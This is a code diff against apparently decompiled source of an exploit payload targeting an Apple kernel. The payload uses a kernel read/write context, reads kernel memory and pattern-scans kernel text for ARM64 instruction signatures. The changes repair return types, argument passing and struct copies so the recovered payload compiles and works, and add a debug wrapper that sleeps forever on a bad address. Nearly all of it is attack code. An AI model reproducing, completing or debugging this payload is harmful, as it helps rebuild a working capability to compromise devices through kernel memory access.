diff --git a/src/payload_377bed/entry1_type0x09.m b/src/payload_377bed/entry1_type0x09.m index 5d5c0c4..10c282f 100644 --- a/src/payload_377bed/entry1_type0x09.m +++ b/src/payload_377bed/entry1_type0x09.m @@ -192,7 +192,12 @@ __int64 __fastcall sub_193C0(__int64 a1, __int64 a2, int a3); __int64 __fastcall nullsub_1(_QWORD); // weak __int64 __fastcall validate_addr(__int64, __int64); unsigned __int64 __fastcall validate_addr_maybe2(struct_krwCtx *krwCtx, unsigned __int64 vaddr); -unsigned __int64 __fastcall sub_197A8(__int64 **); +typedef struct sub_197A8_result +{ + unsigned __int64 addr; + unsigned __int64 size; +} sub_197A8_result; +sub_197A8_result __fastcall sub_197A8(__int64 **); __int64 sub_1984C(); __int64 __fastcall sub_19854(__int64 a1); __int64 __fastcall sub_198FC(__int64 a1, unsigned __int64 a2, unsigned __int64 a3, unsigned __int64 a4, char a5); @@ -241,8 +246,9 @@ __int64 __fastcall sub_1D1B0(__int64 a1); unsigned int *__fastcall sub_1D4A0(__int64 a1); __int64 __fastcall sub_1D70C(__int64 a1, _DWORD *a2); mach_vm_address_t __fastcall sub_1D970(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, _QWORD *a7); -__int64 __fastcall kernel_pattern_scan(__int64 a1, char *__s1, int a3); -__int64 __fastcall sub_1DE40(__int64 *a1, __int64 a2, __int64 a3, __int64 a4, int a5); +__int64 __fastcall kernel_pattern_scan4(__int64 a1, char *__s1, int a3, __int64 a4); +#define kernel_pattern_scan(a1, __s1, a3) kernel_pattern_scan4((a1), (__s1), (a3), 0) +__int64 __fastcall sub_1DE40(__int64 *a1, __int64 a2, __int64 a3, __int64 a4, int a5, __int64 a6); __int64 __fastcall sub_1E0C8(__int128 *a1, char *__s, int a3, char a4); unsigned __int64 __fastcall sub_1E1B8(__int64 *a1, __int64 a2, int a3); char *__fastcall sub_1E2BC(__int64 *a1, _DWORD *a2, _DWORD *a3, unsigned __int64 a4); @@ -16059,7 +16065,7 @@ unsigned __int64 __fastcall validate_addr_maybe2(struct_krwCtx *krwCtx, unsigned } //----- (00000000000197A8) ---------------------------------------------------- -unsigned __int64 __fastcall sub_197A8(__int64 **a1) +sub_197A8_result __fastcall sub_197A8(__int64 **a1) { __int64 *v1; // x8 __int64 *v2; // x9 @@ -16079,12 +16085,12 @@ unsigned __int64 __fastcall sub_197A8(__int64 **a1) { v5 = *((unsigned int *)v2 + 2); if ( !(_DWORD)v5 ) - return 0LL; + return (sub_197A8_result){0, 0}; v6 = 0LL; for ( i = (_QWORD *)(v3 + 40); (unsigned __int64)v1 - *(i - 1) >= *i; i += 7 ) { if ( v5 == ++v6 ) - return 0LL; + return (sub_197A8_result){0, 0}; } *((_DWORD *)v2 + 50) = v6; } @@ -16093,8 +16099,8 @@ unsigned __int64 __fastcall sub_197A8(__int64 **a1) v8 = (unsigned __int64)v1 - v2[30]; v9 = v2[22]; if ( v9 > v8 || (unsigned __int64)a1[2] > v9 + v2[23] - v8 ) - return 0LL; - return v8; + return (sub_197A8_result){0, 0}; + return (sub_197A8_result){v8, (unsigned __int64)a1[2]}; } //----- (000000000001984C) ---------------------------------------------------- @@ -16210,11 +16216,13 @@ unsigned int *__fastcall sub_19ACC(__int64 *a1, __int64 *a2) unsigned int *result; // x0 unsigned int *v4; // x20 __int64 *v5[3]; // [xsp+8h] [xbp-28h] BYREF + sub_197A8_result v6; // x0,x1 v5[0] = a1; v5[1] = a2; v5[2] = (_QWORD *)&dword_4; - result = (unsigned int *)sub_197A8(v5); + v6 = sub_197A8(v5); + result = (unsigned int *)v6.addr; if ( result ) { v4 = result; @@ -16231,11 +16239,13 @@ unsigned __int64 __fastcall sub_19B30(__int64 *a1, __int64 *a2) unsigned __int64 result; // x0 unsigned __int64 v4; // x20 __int64 *v5[3]; // [xsp+8h] [xbp-28h] BYREF + sub_197A8_result v6; // x0,x1 v5[0] = a1; v5[1] = a2; v5[2] = (_QWORD *)&dword_8; - result = sub_197A8(v5); + v6 = sub_197A8(v5); + result = v6.addr; if ( result ) { v4 = result; @@ -19129,7 +19139,7 @@ LABEL_22: // 48940: using guessed type __int64 __fastcall __chkstk_darwin(_QWORD, _QWORD); //----- (000000000001DCA8) ---------------------------------------------------- -__int64 __fastcall kernel_pattern_scan(__int64 a1, char *__s1, int a3) +__int64 __fastcall kernel_pattern_scan4(__int64 a1, char *__s1, int a3, __int64 a4) { char *v5; // x0 char *v6; // x24 @@ -19137,7 +19147,7 @@ __int64 __fastcall kernel_pattern_scan(__int64 a1, char *__s1, int a3) __int64 v8; // x23 char *v9; // x19 char *__stringp[2]; // [xsp+10h] [xbp-180h] BYREF - __int64 v12; // [xsp+20h] [xbp-170h] + __int64 scan_range[3]; // [xsp+10h] [xbp-180h] BYREF char *__endptr; // [xsp+28h] [xbp-168h] BYREF _WORD v14[128]; // [xsp+30h] [xbp-160h] BYREF @@ -19161,9 +19171,10 @@ LABEL_14: if ( !__stringp[0] ) { free(v6); - *(_OWORD *)__stringp = *(_OWORD *)a1; - v12 = *(_QWORD *)(a1 + 16); - return sub_1DE40((__int64 *)__stringp, (__int64)v14, v7, v8, a3); + scan_range[0] = *(_QWORD *)a1; + scan_range[1] = *(_QWORD *)(a1 + 8); + scan_range[2] = *(_QWORD *)(a1 + 16); + return sub_1DE40(scan_range, (__int64)v14, v7, v8, a3, a4); } } if ( !strcmp(v9, "+") ) @@ -19192,7 +19203,7 @@ LABEL_16: } //----- (000000000001DE40) ---------------------------------------------------- -__int64 __fastcall sub_1DE40(__int64 *a1, __int64 a2, __int64 a3, __int64 a4, int a5) +__int64 __fastcall sub_1DE40(__int64 *a1, __int64 a2, __int64 a3, __int64 a4, int a5, __int64 a6) { __int64 v5; // x22 unsigned int v9; // w9 @@ -19217,8 +19228,8 @@ __int64 __fastcall sub_1DE40(__int64 *a1, __int64 a2, __int64 a3, __int64 a4, in int v28; // w10 __int64 v29; // x8 __int64 v30; // [xsp+8h] [xbp-188h] - __int128 v31; // [xsp+10h] [xbp-180h] BYREF - __int64 v32; // [xsp+20h] [xbp-170h] + __int64 scan_range[3]; // [xsp+10h] [xbp-180h] BYREF + sub_197A8_result v31; // x0,x1 int8x16_t v33; // [xsp+30h] [xbp-160h] int8x16_t v34; // [xsp+40h] [xbp-150h] int8x16_t v35; // [xsp+50h] [xbp-140h] @@ -19309,10 +19320,15 @@ __int64 __fastcall sub_1DE40(__int64 *a1, __int64 a2, __int64 a3, __int64 a4, in v16 = *(__int16 *)(v14 - 2); v15 = v14 - 2; v30 = v33.i8[v16]; + if ( !v30 ) + v30 = 1; v33.i8[v16] = 0; - v31 = *(_OWORD *)a1; - v32 = a1[2]; - v18 = sub_197A8((__int64 **)&v31); + scan_range[0] = a1[0]; + scan_range[1] = a1[1]; + scan_range[2] = a1[2]; + v31 = sub_197A8((__int64 **)scan_range); + v18 = v31.addr; + v17 = v31.size; result = 0; if ( v18 && v17 ) { @@ -19377,8 +19393,7 @@ __int64 __fastcall sub_1E0C8(__int128 *a1, char *__s, int a3, char a4) __int16 v13; // w12 __int64 v15; // x2 __int64 v16; // x19 - __int128 v18; // [xsp+0h] [xbp-60h] BYREF - __int64 v19; // [xsp+10h] [xbp-50h] + __int64 scan_range[3]; // [xsp+0h] [xbp-60h] BYREF v8 = strlen(__s); v9 = malloc(2 * (v8 + 2)); @@ -19403,9 +19418,10 @@ __int64 __fastcall sub_1E0C8(__int128 *a1, char *__s, int a3, char a4) v15 = v8 + 2; else v15 = v8 + 1; - v18 = *a1; - v19 = *((_QWORD *)a1 + 2); - v16 = sub_1DE40((__int64 *)&v18, (__int64)&v9[((unsigned __int8)(a4 & 0x20) >> 5) ^ 1], v15, (a4 & 0x20) != 0, a3); + scan_range[0] = *(_QWORD *)a1; + scan_range[1] = *((_QWORD *)a1 + 1); + scan_range[2] = *((_QWORD *)a1 + 2); + v16 = sub_1DE40(scan_range, (__int64)&v9[((unsigned __int8)(a4 & 0x20) >> 5) ^ 1], v15, (a4 & 0x20) != 0, a3, a4); free(v10); return v16; } @@ -19421,14 +19437,17 @@ unsigned __int64 __fastcall sub_1E1B8(__int64 *a1, __int64 a2, int a3) unsigned __int64 v10; // x23 unsigned __int64 v11; // x27 char *v12; // x24 - __int128 v13; // [xsp+0h] [xbp-70h] BYREF - __int64 v14; // [xsp+10h] [xbp-60h] + __int64 scan_range[3]; // [xsp+0h] [xbp-70h] BYREF __int64 __s2; // [xsp+18h] [xbp-58h] BYREF + sub_197A8_result v13; // x0,x1 - v13 = *(_OWORD *)a1; - v14 = a1[2]; + scan_range[0] = a1[0]; + scan_range[1] = a1[1]; + scan_range[2] = a1[2]; __s2 = a2; - v6 = sub_197A8((__int64 **)&v13); + v13 = sub_197A8((__int64 **)scan_range); + v6 = v13.addr; + v5 = v13.size; result = 0; if ( v6 ) { @@ -19476,12 +19495,15 @@ char *__fastcall sub_1E2BC(__int64 *a1, _DWORD *a2, _DWORD *a3, unsigned __int64 unsigned __int64 v11; // x24 _DWORD *v12; // x10 __int64 v13; // x12 - __int128 v14; // [xsp+0h] [xbp-50h] BYREF - __int64 v15; // [xsp+10h] [xbp-40h] + __int64 scan_range[3]; // [xsp+0h] [xbp-50h] BYREF + sub_197A8_result v14; // x0,x1 - v14 = *(_OWORD *)a1; - v15 = a1[2]; - v9 = sub_197A8((__int64 **)&v14); + scan_range[0] = a1[0]; + scan_range[1] = a1[1]; + scan_range[2] = a1[2]; + v14 = sub_197A8((__int64 **)scan_range); + v9 = v14.addr; + v8 = v14.size; result = 0; if ( v9 && v8 ) { @@ -19696,7 +19718,7 @@ char *__fastcall sub_1E728(__int64 *a1) _QWORD v5[3]; // [xsp+8h] [xbp-48h] BYREF sub_19D10((__int64)a1, v5); - result = (char *)kernel_pattern_scan((__int64)v5, "E0 03 15 AA .. .. .. .. FE 03 13 AA", 0); + result = (char *)kernel_pattern_scan4((__int64)v5, "E0 03 15 AA .. .. .. .. FE 03 13 AA", 0, 1); if ( result ) { result = sub_1E800(a1, (__int64 *)(result + 4)); @@ -19751,20 +19773,18 @@ unsigned __int64 __fastcall sub_1E85C(__int64 *a1, int *a2) __int64 v8; // x23 unsigned __int64 v9; // x21 int v10; // w8 - __int128 v12; // [xsp+0h] [xbp-60h] BYREF - __int64 v13; // [xsp+10h] [xbp-50h] - __int128 v14; // [xsp+18h] [xbp-48h] BYREF - __int64 v15; // [xsp+28h] [xbp-38h] + unsigned int v12; // [xsp+0h] [xbp-60h] BYREF + unsigned __int64 scan_range[3]; // [xsp+8h] [xbp-58h] BYREF + unsigned __int64 text_range[3]; // [xsp+20h] [xbp-40h] BYREF v4 = a1[35]; if ( krw_ctx_has_flag((struct_krwCtx *)v4, 32) ) { - sub_19D10(*(_QWORD *)(v4 + 6648), &v14); - *((_QWORD *)&v14 + 1) = *((_QWORD *)&v14 + 1) + v15 - 0x20000; - v15 = 0x20000; - v12 = v14; - v13 = 0x20000; - v5 = kernel_pattern_scan((__int64)&v12, "2B 09 40 B9 4B 39 0B 8B", 0); + sub_19D10(*(_QWORD *)(v4 + 6648), text_range); + scan_range[0] = text_range[0]; + scan_range[1] = text_range[1] + text_range[2] - 0x20000; + scan_range[2] = 0x20000; + v5 = kernel_pattern_scan((__int64)scan_range, "2B 09 40 B9 4B 39 0B 8B", 0); if ( v5 ) { v6 = (unsigned __int64)sub_1EB2C(a1, (__int64 *)(v5 - 40), 1); @@ -19774,7 +19794,7 @@ unsigned __int64 __fastcall sub_1E85C(__int64 *a1, int *a2) v8 = sub_19B94(a1, v6 - 8); if ( validate_addr(v4, v8) ) { - if ( kread32_outptr(v4, v8, &v12) && (unsigned int)(v12 - 1) <= 0x1F ) + if ( kread32_outptr(v4, v8, &v12) && v12 - 1 <= 0x1F ) { v9 = sub_19B94(a1, v7); if ( validate_addr(v4, v9) ) @@ -22066,7 +22086,7 @@ LABEL_57: v33 = 2047; if ( !has_flag ) v33 = 7; - v16 = kreadbuf((struct_krwCtx *)a1, v30 + 8 * (*(_QWORD *)&v33 & (a2 >> 36)), 8u, &v41, a4); + v16 = kreadbuf((struct_krwCtx *)a1, v30 + 8 * ((unsigned __int64)(unsigned int)v33 & (a2 >> 36)), 8u, &v41, a4); if ( !v16 ) goto LABEL_58; v34 = v41; @@ -22141,11 +22161,11 @@ unsigned __int64 __fastcall sub_21844(__int64 a1, unsigned __int64 a2) { int v4; // w0 _OWORD v6[2]; // [xsp+0h] [xbp-40h] BYREF - __int64 v7; // [xsp+20h] [xbp-20h] + volatile __int64 v7; // [xsp+20h] [xbp-20h] v7 = 0; memset(v6, 0, sizeof(v6)); - sub_213D4(a1, a2, (__int64)v6, 1); + v4 = (int)sub_213D4(a1, a2, (__int64)v6, 1).n128_u64[0]; if ( v4 ) return *(_QWORD *)(a1 + 392) & a2 | v7 & 0xFFFFFFFFC000LL; else @@ -22158,11 +22178,11 @@ unsigned __int64 __fastcall sub_218A8(__int64 a1, unsigned __int64 a2, __int64 a { int v5; // w0 _OWORD v7[2]; // [xsp+0h] [xbp-40h] BYREF - __int64 v8; // [xsp+20h] [xbp-20h] + volatile __int64 v8; // [xsp+20h] [xbp-20h] v8 = 0; memset(v7, 0, sizeof(v7)); - sub_213D4(a1, a2, (__int64)v7, a3); + v5 = (int)sub_213D4(a1, a2, (__int64)v7, a3).n128_u64[0]; if ( v5 ) return *(_QWORD *)(a1 + 392) & a2 | v8 & 0xFFFFFFFFC000LL; else @@ -40882,7 +40902,7 @@ __int64 __fastcall sub_38158(struct_krwCtx *a1, __int64 a2, int a3, int a4, __in // 38348: variable 'v21' is possibly undefined //----- (0000000000038378) ---------------------------------------------------- -unsigned __int64 __fastcall sub_38378(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 a4) +unsigned __int64 __fastcall sub_38378_real(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 a4) { __int64 v8; // x8 _QWORD *i; // x9 @@ -40905,6 +40925,16 @@ unsigned __int64 __fastcall sub_38378(__int64 a1, __int64 a2, __int64 a3, unsign } return a4 - v10 + *(i - 1); } +// NOTE: temporary wrapper for debugging. +unsigned __int64 __fastcall sub_38378(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 a4) +{ + uint64_t result = sub_38378_real(a1, a2, a3, a4); + if (result < 0xffffffff) { + printf("%s returned address too low, spin...\n", __FUNCTION__); + sleep(INT_MAX); + } + return result; +} //----- (0000000000038428) ---------------------------------------------------- __int64 __fastcall sub_38428(__int64 a1) @@ -40919,8 +40949,7 @@ __int64 __fastcall sub_38428(__int64 a1) __int64 v10; // x10 _QWORD *v11; // x11 __int64 v12; // [xsp+0h] [xbp-40h] BYREF - __int64 v13; // [xsp+8h] [xbp-38h] - __int64 v14; // [xsp+10h] [xbp-30h] + __int64 record[3]; // [xsp+8h] [xbp-38h] BYREF v2 = *(_QWORD *)(a1 + 6296); if ( v2 ) @@ -40947,17 +40976,17 @@ __int64 __fastcall sub_38428(__int64 a1) v8 = 0; while ( 1 ) { - v12 = 0; - v13 = 0; - v14 = 0; - if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v2 + v7, 24, &v12) ) + record[0] = 0; + record[1] = 0; + record[2] = 0; + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v2 + v7, 24, record) ) break; - v9 = v13; - v10 = v14; - if ( (*(_DWORD *)a1 & 0x20) != 0 ) - v10 = v14 << 14; + v9 = record[1]; + v10 = record[2]; + if ( (*(_DWORD *)a1 & 0x20) == 0 ) + v10 = record[2] << 14; v11 = (_QWORD *)(a1 + v7); - v11[833] = v12; + v11[833] = record[0]; v11[834] = v9; v11[835] = v10; ++v8; @@ -40996,22 +41025,16 @@ unsigned __int64 __fastcall sub_38544(__int64 a1, __int64 a2, __int64 a3, unsign //----- (00000000000385F4) ---------------------------------------------------- __int64 __fastcall sub_385F4(struct_krwCtx *a1, unsigned __int64 a2) { - __int64 v4; // x1 - __int64 v5; // x2 __int64 result; // x0 __int64 v7; // x21 - __int64 v8; // [xsp+0h] [xbp-30h] BYREF - uint64_t v9; // [xsp+8h] [xbp-28h] BYREF + unsigned __int64 translation_base; // [xsp+0h] [xbp-30h] BYREF + unsigned __int64 translation_delta; // [xsp+8h] [xbp-28h] BYREF - v8 = 0; - v9 = 0; - v4 = a1->gap191[679]; - if ( v4 ) + translation_base = a1->gap191[679]; + translation_delta = a1->gap191[680]; + if ( translation_base ) { - v5 = a1->gap191[680]; - v8 = v5; - v9 = v4; - return sub_38544((__int64)a1, v4, v5, a2); + return sub_38544((__int64)a1, translation_base, translation_delta, a2); } result = sub_32D24((__int64)a1); if ( result ) @@ -41020,13 +41043,14 @@ __int64 __fastcall sub_385F4(struct_krwCtx *a1, unsigned __int64 a2) if ( result ) { v7 = result; - if ( !kread64_outptr(a1, result, &v9) || !kread64_outptr(a1, v7 + a1->int168, (unsigned __int64 *)&v8) ) + if ( !kread64_outptr(a1, result, &translation_base) + || !kread64_outptr(a1, v7 + a1->int168, &translation_delta) ) + { return 0; - v5 = v8; - v4 = v9; - a1->gap191[679] = v9; - a1->gap191[680] = v5; - return sub_38544((__int64)a1, v4, v5, a2); + } + a1->gap191[679] = translation_base; + a1->gap191[680] = translation_delta; + return sub_38544((__int64)a1, translation_base, translation_delta, a2); } } return result; @@ -41035,22 +41059,16 @@ __int64 __fastcall sub_385F4(struct_krwCtx *a1, unsigned __int64 a2) //----- (00000000000386AC) ---------------------------------------------------- __int64 __fastcall sub_386AC(struct_krwCtx *a1, unsigned __int64 a2) { - __int64 v4; // x1 - __int64 v5; // x2 __int64 result; // x0 __int64 v7; // x21 - __int64 v8; // [xsp+0h] [xbp-30h] BYREF - uint64_t v9; // [xsp+8h] [xbp-28h] BYREF + unsigned __int64 translation_base; // [xsp+0h] [xbp-30h] BYREF + unsigned __int64 translation_delta; // [xsp+8h] [xbp-28h] BYREF - v8 = 0; - v9 = 0; - v4 = a1->gap191[679]; - if ( v4 ) + translation_base = a1->gap191[679]; + translation_delta = a1->gap191[680]; + if ( translation_base ) { - v5 = a1->gap191[680]; - v8 = v5; - v9 = v4; - return sub_38378((__int64)a1, v4, v5, a2); + return sub_38378((__int64)a1, translation_base, translation_delta, a2); } result = sub_32D24((__int64)a1); if ( result ) @@ -41059,13 +41077,14 @@ __int64 __fastcall sub_386AC(struct_krwCtx *a1, unsigned __int64 a2) if ( result ) { v7 = result; - if ( !kread64_outptr(a1, result, &v9) || !kread64_outptr(a1, v7 + a1->int168, (unsigned __int64 *)&v8) ) + if ( !kread64_outptr(a1, result, &translation_base) + || !kread64_outptr(a1, v7 + a1->int168, &translation_delta) ) + { return 0; - v5 = v8; - v4 = v9; - a1->gap191[679] = v9; - a1->gap191[680] = v5; - return sub_38378((__int64)a1, v4, v5, a2); + } + a1->gap191[679] = translation_base; + a1->gap191[680] = translation_delta; + return sub_38378((__int64)a1, translation_base, translation_delta, a2); } } return result; @@ -47003,10 +47022,9 @@ unsigned __int64 __fastcall sub_403E0(__int64 a1, const char *a2) char v16; // w26 __int64 v17; // x27 __int64 v18; // x0 + sub_197A8_result v19; // x0,x1 _QWORD v20[3]; // [xsp-10h] [xbp-F0h] - __int64 *v21; // [xsp+8h] [xbp-D8h] BYREF - unsigned __int64 v22; // [xsp+10h] [xbp-D0h] - __int64 v23; // [xsp+18h] [xbp-C8h] + __int64 *scan_range[3]; // [xsp+8h] [xbp-D8h] BYREF _QWORD v24[3]; // [xsp+20h] [xbp-C0h] BYREF _BYTE v25[80]; // [xsp+38h] [xbp-A8h] BYREF @@ -47053,10 +47071,11 @@ LABEL_9: v9 = v6 - 1; do { - v21 = *(__int64 **)(a1 + 6648); - v22 = v8; - v23 = v5; - v10 = sub_197A8(&v21); + scan_range[0] = *(__int64 **)(a1 + 6648); + scan_range[1] = (__int64 *)v8; + scan_range[2] = (__int64 *)v5; + v19 = sub_197A8(scan_range); + v10 = v19.addr; if ( !v10 ) break; v11 = v10; @@ -47064,10 +47083,11 @@ LABEL_9: v12 = *(_QWORD *)(v11 + 16); if ( v12 ) { - v21 = *(__int64 **)(a1 + 6648); - v22 = v12; - v23 = 80; - v13 = sub_197A8(&v21); + scan_range[0] = *(__int64 **)(a1 + 6648); + scan_range[1] = (__int64 *)v12; + scan_range[2] = (__int64 *)80; + v19 = sub_197A8(scan_range); + v13 = v19.addr; if ( v13 ) { v14 = (const char *)v13;